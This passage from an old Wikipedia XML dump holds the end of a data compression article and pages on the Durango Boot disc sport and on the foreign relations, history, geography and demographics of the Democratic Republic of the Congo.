The very best compressors use probabilistic models whose predictions are coupled to an algorithm called [[arithmetic coding]]. Arithmetic coding, invented by Jorma Rissanen, and turned into a practical method by Witten, Neal, and Cleary, achieves superior compression to the better-known Huffman algorithm, and lends itself especially well to adaptive data compression tasks where the predictions are strongly context-dependent. Arithmetic coding is used in the bilevel image-compression standard [[JBIG]], and the document-compression standard, [[DejaVu]]. The text ''entry'' system, [[Dasher]], is an inverse-arithmetic-coder. 

==See also==

=== Data compression topics===
* [[algorithmic complexity theory]]
* [[information entropy]]
* [[self-extraction]]
* [[image compression]]
* [[multimedia compression]]
* [[minimum description length]]
* [[minimum message length]] (two-part lossless compression designed for inference)
* [[universal code (data compression)|universal code]]s
** [[Elias gamma coding]]
** [[Fibonacci coding]]
** [[Golomb coding]]
** [[Adaptive Huffman coding]]

=== Compression algorithms ===

==== [[Lossless data compression]] ====
* [[run-length encoding]]  
* [[dictionary coder]]s
** [[LZ77|LZ77 &amp; LZ78]]
** [[LZW]] 
* [[Burrows-Wheeler transform]]
* [[prediction by partial matching]] (also known as PPM)
* [[context mixing]]
* [[entropy encoding]]
** [[Huffman coding]] (simple entropy coding; commonly used as the final stage of compression)
** [[arithmetic coding]] (more advanced)
** [[range encoding]] (simple, intended to approach the performance of arithmetic coding without being patent-encumbered)


==== [[Lossy data compression]] ====
* [[discrete cosine transform]]
* [[fractal compression]]
** [[fractal transform]]
* [[wavelet compression]]
* [[vector quantization]]
* [[linear predictive coding]]

==== Example Implementations ====

* [[DEFLATE (algorithm)|DEFLATE]] (a combination of LZ77 and Huffman coding) &amp;ndash; used by [[ZIP file format|ZIP]], [[gzip]] and [[PNG]] files
* [[LZMA]] used by [[7-Zip]] and [[StuffitX]]
* [[LZO]] (very fast LZ variation, speed oriented)
* [[Unix]] ''[[compress]]'' utility (the .Z file format), and [[GIF]] use [[LZW]]

* [[bzip2]] (a combination of the Burrows-Wheeler transform and Huffman coding)
* [[PAQ]] (very high compression based on [[context mixing]], but extremely slow; competing in the top of the highest compression competitions)

* [[JPEG]] (image compression using a discrete cosine transform, then quantization, then Huffman coding)
* [[MPEG]] (audio and video compression standards family in wide use, using [[Discrete cosine transform|DCT]] and motion-compensated prediction for video)
** [[MP3]] (a part of the [[MPEG-1]] standard for sound and music compression, using subbanding and [[MDCT]], perceptual modeling, quantization, and Huffman coding)
** [[Advanced Audio Coding|AAC]] (part of the [[MPEG-2]] and [[MPEG-4]] audio coding specifications, using MDCT, perceptual modeling, quantization, and Huffman coding)
* [[Ogg Vorbis]] (DCT based AAC-alike audio codec, designed with a focus on avoiding patent encumbrance)
* [[JPEG 2000]] (image compression using wavelets, then quantization, then entropy coding)
* [[TTA]] (uses [[linear predictive coding]] for lossless audio compression)
* [[FLAC]] ([[linear predictive coding]] for lossless audio compression)


==References==
* Doyle, J. &amp; Carlson, J. M. (2000) ''Phys. Rev. Lett.'' '''84,''' 5656–5659.
* Timothy C. Bell, Ian Witten, John Cleary (1990) ''Text Compression'', Prentice Hall, ISBN 0139119914

==External links==
*[http://www.fileinfo.net/filetype/compressed Compressed File Types]
*[http://www.maximumcompression.com/ Data Compression Benchmarks and Tests]
*[http://www-nt.e-technik.uni-rostock.de/~ts/Datacompression/compression.html Data Compression - Systematisation by T.Strutz]  
*[http://www.vectorsite.net/ttdcmp1.html Public domain article on data compression]
*[http://computer.howstuffworks.com/file-compression.htm/printable How Compression Works]
*[http://uclc.info/ Ultimate Command Line Compressors]
*[http://www.compression-links.info/ Compression Resources catalog] (currenly the biggest)
*[http://www.c10n.info/ The Data Compression News Blog]
*[http://www.elis.ugent.be/~wheirman/compression/ Practical Compressor Test] (Compares speed and efficiency for commonly used compression programs)
*[http://www.c10n.info/newsletter/ The Monthly Data Compression Newsletter]
[[Category:Data compression]]

[[ca:Compressió]]
[[cs:Komprese dat]]
[[de:Datenkompression]]
[[es:Compresión de datos]]
[[fr:Compression de données]]
[[ko:데이터 압축]]
[[id:Kompresi data]]
[[it:Compressione dei dati]]
[[he:דחיסת נתונים]]
[[hu:Adattömörítés]]
[[nl:Datacompressie]]
[[ja:データ圧縮]]
[[pl:Kompresja (informatyka)]]
[[pt:Compressão de dados]]
[[simple:Data compression]]
[[fi:Tiedonpakkaus]]
[[sv:Datakompression]]
[[th:การบีบอัดข้อมูล]]
[[zh:数据压缩]]</text>
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    <title>Digitizing tablet</title>
    <id>8014</id>
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      <id>15906038</id>
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    <title>Define and Describe Talk</title>
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    <title>Diallelus</title>
    <id>8016</id>
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  </page>
  <page>
    <title>Durango Boot</title>
    <id>8019</id>
    <revision>
      <id>28275806</id>
      <timestamp>2005-11-14T06:17:06Z</timestamp>
      <contributor>
        <username>Liface</username>
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      <text xml:space="preserve">{{cleanup-date|October 2005}}'''Durango Boot''' (also called Boot) is a competitive, non-contact [[sport]] that makes use of a flying disc (or [[Frisbee]]), and is similar to [[Ultimate (sport)|ultimate]].

The flow of Boot is much like Ultimate, but even more fluid with no stoppage of play, even after scores. There's full-on running, lots of give-and-go action, smooth zone defenses, and the whole globe is your playing field. It's very competitive and we have yet to master the game after years of play.

==History==

'''Durango Boot''' is so named because the first time it was played, none of the players had cones to mark the field, so boots were used instead.  The game was originally called '''Boot''', but '''Durango''' was added to the name because it was first played in Durango, CO.

==Rules==

===Field of Play===

Refer to the accompanying diagram for the basic configuration and dimensions. As in Ultimate, the field can easily be altered to fit the space available. Eight cones are used to define the field. Four cones (star dots) are the goals. If your team hits one with the disc, you score. The other four cones (black dots) are used to mark the 'take-back&quot; zone, which is actually a belt that extends all the way around the world. There is no out of bounds.

[[Image:bootfield.jpg]]


===Object of the game===

The object is simply to hit any of the 4 score cones (star dots) with the disc. The cones may be hit by a thrown disc, or if you are in possession of the disc right next to a cone, you may hit the cone without releasing the disc (the 'Slam Dunk').

If the cone is hit by Slam Dunk or a throw from within the zone in front of the &quot;take-back&quot; zone, it counts as 1 point. If the cone is hit by a throw from within the &quot;take-back&quot; cones, it counts as 2 points. If the cone is hit by a throw from beyond of the &quot;take-back&quot; cones, it counts as 3 points. See diagram for examples of throws. 

Games are generally played to 3 points. Win by one point. Best 2 out of 3 games.

===The Play===

Each team fields 3 players. A disc is flipped at midfield, heads or tails is called, and the winner of the flip immediately picks up the disc and takes the offensive. They then work the disc trying to get into position to hit one of the score cones. As in Ultimate, if they fail to complete a pass or if the stall count is reached, it's a turnover. The stall count only goes up to 6 and may be counted by any defensive player no matter where on the field he is. No one needs to mark the thrower.

On a turnover, the defensive team immediately becomes the offensive team, but before they can score, the disc must pass through at least part of the &quot;take-back&quot; zone. This is done by throwing the disc to someone in the &quot;take-back&quot; zone or on the other side of it. If the disc is lying in the &quot;take-back&quot; zone after a turnover, there's no need to take it back.

After a score, the defensive team immediately becomes the offensive team, just like after a turnover. The only difference is that before they can begin play any cones that were knocked over must be reset. There are no &quot;pulls&quot;.

Most of the normal rules of Ultimate apply, e.g. fouls, traveling, etc. However, we generally avoid making calls unless it's very blatant.

==Strategy==

Both offense and defense require an amazing amount of strategy. It's a very heady game. Below is the very basic strategy, but there's lots more to learn as you play.

The basic offensive strategy is to create 2-on-1's and then take advantage of them with very quick give-and-go's. Because there is only one defender trying to defend two cones, one cone will be open. However, if the 2-on-1 becomes a 2-on-2 because the middle defender hustles back, that end of the field should be abandoned and you should try to create a 2-on-1 to the other end of the field. It's almost impossible to score on 2 defenders because they can each defend one cone. Under no circumstances should you bring in the third offensive player to help because when you turn the disc over (either by a turnover or a score), you'll have no one back to defend the cones at the other end of the field.

A zone defense is the most effective defense. One player acts as goalie at each end and one person plays the &quot;take-back zone. The main objective is to stop the 2-on-1 and that's primarily the responsibility of the middle defender. Once two offensive players start moving the disc towards one end, the middle defender needs to move with them to help out his goalie, but he has to be careful not to over-commit or the offense will reverse direction and have a 2-on-1 in the other direction.

==Original source==
* http://www.swsdesign.com/ultimate/boot.htm

[[Category:Frisbee]]
[[Category:Team sports]]

[[fr:Durango Boot]]</text>
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  </page>
  <page>
    <title>Day of the Triffids</title>
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  <page>
    <title>Foreign relations of the Democratic Republic of the Congo</title>
    <id>8021</id>
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      <text xml:space="preserve">{{Politics of the Democratic Republic of the Congo}}
Its location in the center of Africa has made the [[Democratic Republic of the Congo]] a key player in the region since independence. Because of its size, [[mineral]] wealth, and strategic location, [[Zaire]] was able to capitalize on [[Cold War]] tensions to garner support from the West. In the early [[1990s]], however, in the face of growing evidence of [[human rights]] abuses, Western support waned as pressure for internal reform increased.

The Democratic Republic of the Congo is in the grip of a civil war that has drawn in military forces from neighboring states, with [[Uganda]]n, [[Burundi]]an, and [[Rwanda]]n forces helping the rebel movement which occupies much of the eastern portion of the state. 

One problem is the continuing theft of mineral resources, such as [[coltan]], by occupying forces. One estimate has the Rwandan army making $250 million in 18 months from the sale of coltan, even though Rwanda has no coltan deposits. Not only can the DROC not make any money from its mineral wealth, due to its inability to tax anything in rebel-held areas, but the wealth is also used itself to finance insurgent activities.

Troops from [[Zimbabwe]], [[Angola]], [[Namibia]], [[Chad]], and [[Sudan]] intervened to support the Kinshasa regime. 

Furthermore, relations with surrounding countries have often been driven by security concerns. Intricate and interlocking alliances have often characterized regional relations. Conflicts in [[Sudan]], [[Uganda]], [[Angola]], [[Rwanda]], and [[Burundi]] have at various times created bilateral and regional tensions. The current crisis in DROC has its roots both in the use of The Congo as a base by various insurgency groups attacking neighboring countries and in the absence of a broad-based political system in the Congo.

==Disputes - international==

Democratic Republic of the Congo is in the grip of a [[Second Congo War|civil war]] that has drawn in military forces from neighboring states, with [[Uganda]] and [[Rwanda]] supporting the rebel movements that occupy much of the eastern portion of the state - [[Tutsi]], [[Hutu]], [[Lendu]], [[Hema (ethnicity)|Hema]] and other conflicting ethnic groups, political rebels, and various government forces continue fighting in [[Great Lakes region (Africa)|Great Lakes region]], transcending the boundaries of [[Burundi]], [[Democratic Republic of the Congo]], [[Rwanda]], and [[Uganda]] - heads of the Great Lakes states pledge to end conflict, but localized violence continues despite [[UN]] peacekeeping efforts; most of the [[Congo River]] boundary with the [[Republic of the Congo]] is indefinite (no agreement has been reached on the division of the river or its islands, except in the [[Pool Malebo]]/[[Stanley Pool]] area).

On December 19, 2005, the [[International Court of Justice]] found against [[Uganda]], in a case brought by the [[Democratic Republic of the Congo]], for illegal invasion of its territory, and violation of human rights.

==Illicit drugs==

The DRC has some illicit production of [[cannabis (drug)|cannabis]], mostly for domestic consumption.  While rampant [[political corruption|corruption]] and inadequate supervision leaves the banking system vulnerable to [[money laundering]], the lack of a well-developed financial system limits the country's utility as a money-laundering center.

==See also==
*[[Democratic Republic of the Congo]]
[[Category:Foreign relations by country|Congo, Democratic Republic of the]]
[[Category:Foreign relations of the Democratic Republic of the Congo]]

[[fr:Affaires étrangères de la République démocratique du Congo]]</text>
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  <page>
    <title>History of the Democratic Republic of the Congo</title>
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      <comment>/* War (1996&amp;ndash;) */</comment>
      <text xml:space="preserve">{{History of the DRC}}
The area now known as the [[Democratic Republic of the Congo]] was populated as early as 10,000 years ago and settled in the 7th and 8th centuries A.D. by [[Bantu]]s from present-day [[Nigeria]]. During its history the area has also been known as ''[[Congo Free State]]'', ''Belgian Congo'' and ''Zaire''.

The most important events in the history of the area (from the point of view of its current situation) occurred in the fifty years or so from about 1870, when European exploration and exploitation took place. Some believe that the rape of the Congo stands alone as the single most brutal and greedy episode of colonisation in modern history. It is described in the entry on the [[Congo Free State]]. 

==The Belgian Congo==

''See also [[Belgian Congo]]''

On [[November 15]], [[1908]], [[Léopold II of Belgium|King Léopold II of Belgium]] formally relinquished personal control of the ''Congo Free State'' and the renamed '''Belgian Congo''' came under the administration of the [[Belgium|Belgian]] parliament, a system which lasted until independence was granted in [[1960]].

The Belgian administration might be most charitably characterized as [[Paternalism|paternalistic]] [[colonialism]].  The educational system was dominated by the [[Roman Catholic Church]] and [[Protestant]] churches and the curricula reflected [[Christianity|Christian]] and Western values.  For example, in [[1948]] fully 99.6% of educational facilities were controlled by Christian missions. There was little regard for native culture and beliefs.  Native schooling was mainly religious and vocational.

Political administration fell under the total and direct control of the mother country; there were no democratic institutions. Native curfews and other restrictions were not unusual. Following [[World War II]] some democratic reforms began to be introduced, but these were complicated by ethnic rivalries among the native population.

==Changes in Congolese Society (brief overview)==

At the time the multinational concessionary companies under Léopold's auspices and the Congolese had two very different concepts of land and labor. Understanding the contrasting patterns of production between the traditional Congolese tribal states and modern, industrial Belgium is essential. 

[[Capitalism]] revolutionized the region's traditional economies, inducing social changes and political consequences that revolutionized Congolese society to this day. Balanced, subsistence-based economies shifted to specialization and accumulation of surpluses. These changes revolutionized production patterns because maximizing production and minimizing cost (the specialization of capitalist production) did not necessarily coincide with traditional, seasonal patterns of agricultural production. Rather than specializing in a particular product according to the concept of comparative advantage, and then mass-producing surplus values of this product (rubber) for profit, traditional Congolese tribal states in the past favored balanced, self-reliant, subsistence economies, and hence followed labor patterns that reflected seasonal cycles. 

Tribal states or empires organized along precarious, unwritten cultural traditions also shifted to a division of labor based on legal protection of land and labor&amp;mdash;once inalienable, but now commodities to be bought, sold, or traded. 

The bourgeois ethic of wage/labor productivity was thus, in many respects, a new concept to supposedly &amp;lsquo;idle&amp;rsquo; natives merely accustomed to older patterns of production. On that note, it must be noted that the integration of traditional economies in Congo within the framework of the modern, capitalist economy was also particularly exploitative. The fortunes of King Léopold II and those of the multinational concessionary companies under his auspices were mainly made on the proceeds of Congolese rubber, which had historically never been mass-produced in surplus quantities. Between 1880 and 1920 the population of Congo thus halved; over 10 million &amp;lsquo;indolent natives&amp;rsquo; unaccustomed to the bourgeois ethos of labor productivity, were the victims of murder, starvation, exhaustion induced by over-work, and disease.

Mass-production of rubber in a dense, tropical forest in one of the world&amp;rsquo;s most isolated regions was after all quite a massive endeavor. Other parts of Africa were not cultivating rubber (quite a harsh crop to cultivate); other parts of Africa had milder climates and topographies.

==The Democratic Republic of the Congo==

Agitation for independence in the Congo arose fairly late, only becoming a prominent factor by the mid-1950s.  Even this separatist spirit was far more an anti-Belgian movement than one of Congolese nationalism.  

===The First Republic (1960&amp;ndash;1965)===

{{main|Congo Crisis}}

Following a series of riots and unrest, the Belgians realised they could not maintain control of such a vast country. The Belgians announced on [[January 27]], [[1960]] that they would relinquish control in six months. The Congo was granted its independence on [[June 30]], [[1960]]. The country was in a very unstable state&amp;mdash;regional tribal leaders held far more power than the central government&amp;mdash;and with the departure of the Belgian administrators almost no skilled bureaucrats were left in the country.  The first Congolese university graduate was only in 1956, and virtually no-one in the new nation had any idea of how to manage a country of such size.  

Parliamentary elections in 1960 produced the Marxist [[Patrice Lumumba]] as prime minister and pro-[[Western world|Western]] [[Joseph Kasavubu]] as president of the renamed Democratic Republic of the Congo. 

Even from this fleeting moment of independence democracy began to unravel.  A military coup broke out in the capital and rampant looting began. On July 11th the richest province of the country, [[Katanga]], seceded under [[Moise Tshombe]]. To protect Europeans in the country and try to restore order 20,000 [[UN]] peacekeepers were sent to the country. Western paramilitaries and mercenaries, often hired by mining companies to protect their interests, also began to pour into the country. In this same period Congo's second richest province, [[Kasai province]], also announced its independence.

Prime Minister Lumumba turned to the [[Soviet Union|USSR]] for assistance. [[Nikita Khrushchev]] agreed to help, offering advanced weaponry and technical advisors.  The [[United States]] viewed the Soviet presence as an attempt to take advantage of the situation and gain a [[proxy]] state in [[sub-Saharan Africa]]. UN forces were ordered to block any shipments of arms into the country. The United States also looked for a way to replace Lumumba as leader. President Kasavubu had clashed with Prime Minister Lumumba and advocated an alliance with the West rather than the Soviets. The U.S. sent weapons and CIA personnel to aid forces allied with Kasavubu and combat the Soviet presence. In December 1960, with U.S. and CIA support, Kasavubu and his loyal Colonel [[Joseph Mobutu]] overthrew the government.  Lumumba was assassinated by Mobutu with support of the American government soon after; some have alleged that U.S. President [[Dwight D. Eisenhower]] gave the CIA direct orders to assassinate Lumumba, but this has never been confirmed. According to other sources, the Belgian government was also in support of such an action. In [[Stanleyville]], those loyal to the deposed Lumumba set up a rival government under [[Antoine Gizenga]].

===The Second &amp; Third Republics (1965&amp;ndash;1996)===

{{main|Zaire}}

Unrest and rebellion plagued the government until 1965, when Lieutenant General Mobutu, by then commander in chief of the national army, seized control of the country and declared himself president for five years. Mobutu quickly consolidated his power and was elected unopposed as president in 1970. Embarking on a campaign of cultural awareness, Mobutu renamed the country the Republic of Zaire and required citizens to adopt African names. Relative peace and stability prevailed until 1977 and 1978 when Katangan rebels, based in [[Angola]], launched a series of [[Shaba Invasions|invasions]] into the Shaba (Katanga) region. The rebels were driven out with the aid of Belgian paratroopers.

During the 1980s, Zaire remained a one-party state. Although Mobutu successfully maintained control during this period, opposition parties, most notably the [[Union pour la Démocratie et le Progrès Social]] (UDPS), were active. Mobutu's attempts to quell these groups drew significant international criticism.

As the Cold War came to a close, internal and external pressures on Mobutu increased. In late 1989 and early 1990, Mobutu was weakened by a series of domestic protests, by heightened international criticism of his regime's human rights practices, by a faltering economy, and by government corruption, most notably his massive embezzlement of government funds for personal use. 

In [[April 1990]], Mobutu declared the Third Republic, agreeing to a limited multi-party system with elections and a constitution. As details of a reform package were delayed, soldiers in September 1991 began looting [[Kinshasa]] to protest their unpaid wages. Two thousand French and Belgian troops, some of whom were flown in on [[U.S. Air Force]] planes, arrived to evacuate the 20,000 endangered foreign nationals in Kinshasa.

In 1992, after previous similar attempts, the long-promised [[Sovereign National Conference]] was staged, encompassing over 2,000 representatives from various political parties. The conference gave itself a legislative mandate and elected Archbishop [[Laurent Monsengwo]] as its chairman, along with [[Étienne Tshisekedi wa Mulumba]], leader of the UDPS, as prime minister. By the end of the year Mobutu had created a rival government with its own prime minister. The ensuing stalemate produced a compromise merger of the two governments into the [[High Council of Republic-Parliament of Transition]] (HCR-PT) in 1994, with Mobutu as head of state and [[Kengo Wa Dondo]] as prime minister. Although presidential and legislative elections were scheduled repeatedly over the next 2 years, they never took place.

===War (1996&amp;ndash;)===

{{main articles|[[First Congo War]] and [[Second Congo War]]}}

By 1996, tensions from the neighboring [[Rwanda]] war and [[genocide]] had spilled over to [[Zaire]]: see [[History of Rwanda]]. Rwandan [[Hutu]] militia forces ([[Interahamwe]]), who had fled Rwanda following the ascension of a [[Tutsi]]-led government, had been using Hutu refugees camps in eastern Zaire as a basis for incursion against Rwanda. These Hutu militia forces soon allied with the Zairian armed forces (FAZ) to launch a campaign against Congolese ethnic Tutsis in eastern Zaire. In turn, these Tutsis formed a militia to defend themselves against attacks. When the Zairian government began to escalate its massacres in November 1996, the Tutsi militias erupted in rebellion against Mobutu. 

The Tutsi militia was soon joined by various opposition groups and supported by several countries, including Rwanda and Uganda. This coalition, led by [[Laurent-Desire Kabila]], became known as the [[Alliance des Forces Démocratiques pour la Libération du Congo-Zaïre]] (AFDL). The AFDL, now seeking the broader goal of ousting Mobutu, made significant military gains in early 1997. Following failed peace talks between Mobutu and Kabila in May 1997, Mobutu left the country, and Kabila marched unopposed to Kinshasa on May 20. Kabila named himself president, consolidated power around himself and the AFDL, and reverted the name of the country to the Democratic Republic of Congo.

Kabila demonstrated little ability to manage the problems of his country. He lost his allies and the [[Mouvement pour la Libération du Congo]] (MLC, led by the warlord [[Jean-Pierre Bemba]]), backed by Rwandan and Ugandan troops attacked in August 1998, soon after Angola, Zimbabwe, Namibia sent some form of force into the DRC, with Zimbabwe and Angola supporting the government. While the six African governments involved in the war signed a ceasefire accord in Lusaka in July 1999, the Congolese rebels did not and the ceasefire broke down within months. Kabila was assassinated in January 2001 by one of his bodyguards, and was succeeded by his son [[Joseph Kabila|Joseph]]. Upon taking office Joseph Kabila called for multilateral peace talks to end the war. He partly succeeded in February 2001 when a further peace deal was brokered between Kabila, Rwanda and Uganda leading to the apparent withdrawal of foreign troops. [[UN]] peacekeepers, MONUC, arrived in April 2001.

Currently the Ugandans and the MLC still hold a 200 mile wide section of the north of the country; Rwandan forces and its front, the [[Rassemblement Congolais pour la Démocratie]] (RCD) control a large section of the east; and government forces or their allies hold the west and south of the country. There were reports that the conflict is being prolonged as a cover for extensive looting of the substantial natural resources in the country (including [[diamond]]s, [[copper]], [[zinc]], and [[coltan]]). The conflict was reignited in January 2002 by ethnic clashes in the northeast and both Uganda and Rwanda then halted their withdrawal and sent in more troops. 

Talks between Kabila and the rebel leaders (held in [[Sun City, South Africa|Sun City]]) lasted a full six weeks (beginning in April 2002). In June they signed a peace accord in which Kabila would share power with former rebels. By June 2003 all foreign armies except those of Rwanda had pulled out of Congo. 

Ethnic clashes in the northeast were still continuing in 2004, especially violence between the Hema and Lendu tribes in the Kivu region of eastern Congo.

Presently, DR Congo is in an transitional period, where a constution has been approved by voters and presidential elections expected to be held in June 2006.

== Further reading ==
* Forbath, Peter. (1977) ''The River Congo'', Harper &amp; Row. ISBN 0-06-122490-1.
* Conrad, Joseph. (1902) ''Heart of Darkness''. (fiction)
* Gondola, Ch. Didier. (2002) ''The History of Congo'', Greenwood Press,  ISBN 0-313-31696-1. Covers Congolese history from the prehistoric period to 2002.
* Hall, Richard. (1974) ''Stanley: an adventurer explored'', Purnell.
* Kingsolver, Barbara. (1998) ''The Poisonwood Bible'', HarperCollins. ISBN 0-06-017540-0. (fiction)
* Pakenham, Thomas. (1991) ''The scramble for Africa'', Abacus. ISBN 0-349-10449-2.
* Rodney, Walter. (1974) ''How Europe underdeveloped Africa'', Howard University Press. ISBN 0-88258-013-2.
* Hochschild, Adam. (1999) ''King Leopold's Ghost'', Mariner Books . ISBN 0618001905

== External links ==
* [http://www.boondocksnet.com/congo/ &quot;Reforming the Heart of Darkness&quot;] Concerning the Congo under Léopold II
* [http://www.banknotes.com/cd.htm &quot;Banknotes of DR Congo&quot;]
* [http://www.banknotes.com/zr.htm &quot;Banknotes of Zaire&quot;]

{{Africa in topic|History of}}

[[Category:History of the Democratic Republic of the Congo| ]]

[[de:Geschichte der Demokratischen Republik Kongo]]
{{Link FA|de}}
[[es:Historia de Congo, R.D.]]
[[fr:Congo belge]]
[[nl:Belgisch Kongo]]
[[sv:Belgiska Kongo]]
[[ln:Kɔ́ngɔ (ntangó ya banɔ́kɔ́)]]</text>
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  </page>
  <page>
    <title>Geography of the Democratic Republic of the Congo</title>
    <id>8023</id>
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      <comment>better map</comment>
      <text xml:space="preserve">The [[Democratic Republic of the Congo]] includes the greater part of the Congo River Basin, which covers an area of almost 1 million square kilometers (400,000 sq. mi.). The country's only outlet to the Atlantic Ocean is a narrow strip of land on the north bank of the Congo River.

[[Image:ISS007-E-6305.jpg|350px|thumb|right|Image of Kinshasa and Brazzaville, taken by NASA]]

The vast, low-lying central area is a basin-shaped plateau sloping toward the west and covered by tropical rainforest. This area is surrounded by mountainous terraces in the west, plateaus merging into savannas in the south and southwest, and dense grasslands extending beyond the Congo River in the north. High mountains are found in the extreme eastern region.

The DRC lies on the Equator, with one-third of the country to the north and two-thirds to the south. The climate is hot and humid in the river basin and cool and dry in the southern highlands. South of the Equator, the rainy season lasts from October to May and north of the Equator, from April to November. Along the Equator, rainfall is fairly regular throughout the year. During the wet season, thunderstorms often are violent but seldom last more than a few hours. The average rainfall for the entire country is about 1.07 metres (42 in).

[[Image:Congo Democratic Republic Map.jpg|thumb|300px|right|Map of the DR of the Congo]]
'''Location:'''
Central [[Africa]], northeast of [[Angola]]

'''[[Geographic coordinates]]:''' {{coor dm|0|00|N|25|00|E|type:country}}

'''Map references:'''
Africa

'''Area:'''
&lt;br&gt;''total:''
2,345,410 km²
&lt;br&gt;''land:''
2,267,600 km²
&lt;br&gt;''water:''
77,810 km²

'''Area - comparative:'''
slightly less than one-fourth the size of the US

'''Land boundaries:'''
&lt;br&gt;''total:''
10,744 km
&lt;br&gt;''border countries:''
Angola 2,511 km, [[Burundi]] 233 km, [[Central African Republic]] 1,577 km, [[Republic of the Congo]] 2,410 km, [[Rwanda]] 217 km, [[Sudan]] 628 km, [[Tanzania]] 473 km, [[Uganda]] 765 km, [[Zambia]] 1,930 km

'''Coastline:'''
37 km

'''Maritime claims:'''
&lt;br&gt;''exclusive economic zone:''
boundaries with neighbors
&lt;br&gt;''territorial sea:''
12 nm

'''Climate:'''
tropical; hot and humid in equatorial river basin; cooler and drier in southern highlands; cooler and wetter in eastern highlands; north of Equator - wet season April to October, dry season December to February; south of [[Equator]] - wet season November to March, dry season April to October
[[image:LocationDRCongo.png|200px|thumb|right|Location of country on world map]]

'''Terrain:'''
vast central basin is a low-lying plateau; mountains in east

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
[[Atlantic Ocean]] 0 m
&lt;br&gt;''highest point:''
Pic Marguerite on [[Mont Ngaliema]] (Mount Stanley) 5,110 m

'''Natural resources:'''
[[cobalt]], [[copper]], [[cadmium]], [[petroleum]], industrial and gem [[diamond]]s, [[gold]], [[silver]], [[zinc]], [[manganese]], [[tin]], [[germanium]], [[uranium]], [[radium]], [[bauxite]], [[iron]] ore, [[coal]], [[hydropower]], timber

'''Land use:'''

&lt;br&gt;''arable land:''
2.96% (1998 est), 3% (1993 est.)
&lt;br&gt;''permanent crops:''
0.52% (1998 est.), 0% (1993 est.)
&lt;br&gt;''permanent pastures:''
7% (1993 est.)
&lt;br&gt;''forests and woodland:''
77% (1993 est.)
&lt;br&gt;''other:''
96.52 (1998 est.), 13% (1993 est.)

'''Irrigated land:'''
110 km² (1998 est.), 100 km&amp;sup2; (1993 est.)

'''Natural hazards:'''
periodic [[drought]]s in south; [[Congo River]] floods (seasonal); in the east, in the [[Great Rift Valley]], there are active [[volcano]]es

'''Environment - current issues:'''
poaching threatens wildlife populations; water pollution; deforestation; refugees responsible for significant deforestation, soil erosion, and wildlife poaching; mining of minerals (coltan - a mineral used in creating capacitors, diamonds, and gold) causing environmental damage

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Biodiversity, Climate Change, Desertification, Endangered Species, Hazardous Wastes, Law of the Sea, Marine Dumping, Nuclear Test Ban, Ozone Layer Protection, Tropical Timber 83, Tropical Timber 94, Wetlands
&lt;br&gt;''signed, but not ratified:''
Environmental Modification

'''Geography - note:'''
straddles [[Equator]]; very narrow strip of land that controls the lower [[Congo River]] and is only outlet to South [[Atlantic Ocean]]; dense tropical rain forest in central river basin and eastern highlands

:''See also :'' [[Democratic Republic of the Congo]]

{{Africa in topic|Geography of}}

[[Category:Geography of the Democratic Republic of the Congo| ]]

[[es:Geografía de la República Democrática del Congo]]
[[fr:Géographie de la République démocratique du Congo]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the Democratic Republic of the Congo</title>
    <id>8024</id>
    <revision>
      <id>39374533</id>
      <timestamp>2006-02-12T19:20:43Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">[[Image:Congo dem demographie.png|thumb|300px|right|Demographics of Democratic Republic of the Congo, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]
The population of the [[Democratic Republic of the Congo]] was estimated at 46.7 million in [[1997]]. As many as 250 [[ethnic group]]s have been distinguished and named. The most numerous people are the [[Bakongo]], [[Luba]], and [[Mongo]]. Although 700 local [[language]]s and [[dialect]]s are spoken, the linguistic variety is bridged both by the use of [[French language|French]] and the intermediary languages [[Kikongo]], [[Tshiluba language|Tshiluba]], [[Swahili]], and [[Lingala language|Lingala]].

About 80% of the Congolese population are [[Christian]], predominantly [[Roman Catholic]]. Most of the non-Christians adhere to either traditional [[religion]]s or syncretic [[sect]]s. Traditional religions embody such concepts as [[monotheism]], [[animism]], [[vitalism]], [[spirit]] and [[ancestor worship]], [[witchcraft]], and [[sorcery]] and vary widely among ethnic groups; none is formalized. The syncretic sects often merge Christianity with traditional beliefs and rituals. The most popular of these sects, [[Kimbanguism]], was seen as a threat to the [[Belgian Congo|colonial regime]] and was banned by the [[Belgium|Belgians]]. Kimbanguism, officially &quot;the church of Christ on Earth by the prophet [[Simon Kimbangu]],&quot; now has about 3 million members, primarily among the [[Bakongo]] of Bas-Congo and [[Kinshasa]]. In [[1969]], it was the first independent [[Africa]]n church admitted to the [[World Council of Churches]].

Before [[History_of_the_Democratic_Republic_of_the_Congo#The_First_Republic_.281960-1965.29|independence]], [[education]] was largely in the hands of religious groups. The [[primary school]] system was well-developed at independence; however, the [[secondary school]] system was limited, and [[post-secondary education|higher education]] was almost nonexistent in most regions of the country. The principal objective of this system was to train low-level administrators and [[clerk]]s. Since independence, efforts have been made to increase access to education, and secondary and higher education have been made available to many more Congolese. Despite the deterioration of the state-run educational system in recent years, about 80% of the males and 65% of females, ages 6-11, were enrolled in a mixture of state- and church-run primary schools in 1996. At higher levels of education, males greatly outnumber females. The elite continues to send their children abroad to be educated, primarily in [[Western Europe]].

==Demographic data from the CIA World Factbook==

===Population===
:60,085,804
:''Note'': estimates for this country explicitly take into account the effects of excess mortality due to AIDS; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2005 est.)

===Age structure===
:0-14 years: 48.1% (male 14,513,779/female 14,396,952)
:15-64 years: 49.4% (male 14,579,101/female 15,121,297)
:65 years and over: 2.5% (male 597,776/female 876,099) (2005 est.)

===Median age===
:Total: 15.8 years
:Male: 15.4 years
:Female: 16.2 years (2005 est.)

===Population growth rate===
:2.98% (2005 est.)

===Birth rate===
:44.38 births/1,000 population (2005 est.)

===Death rate===
:14.43 deaths/1,000 population (2005 est.)
(Mortality due to AIDS)

===Net migration rate===
:-0.17 migrant(s)/1,000 population
:''Note'': fighting between the Congolese Government and Uganda- and Rwanda-backed Congolese rebels spawned a regional war in DROC in August 1998, which left 1.8 million Congolese internally displaced and caused 300,000 Congolese refugees to flee to surrounding countries (2005 est.)

===Sex ratio===
:At birth: 1.01 male(s)/female
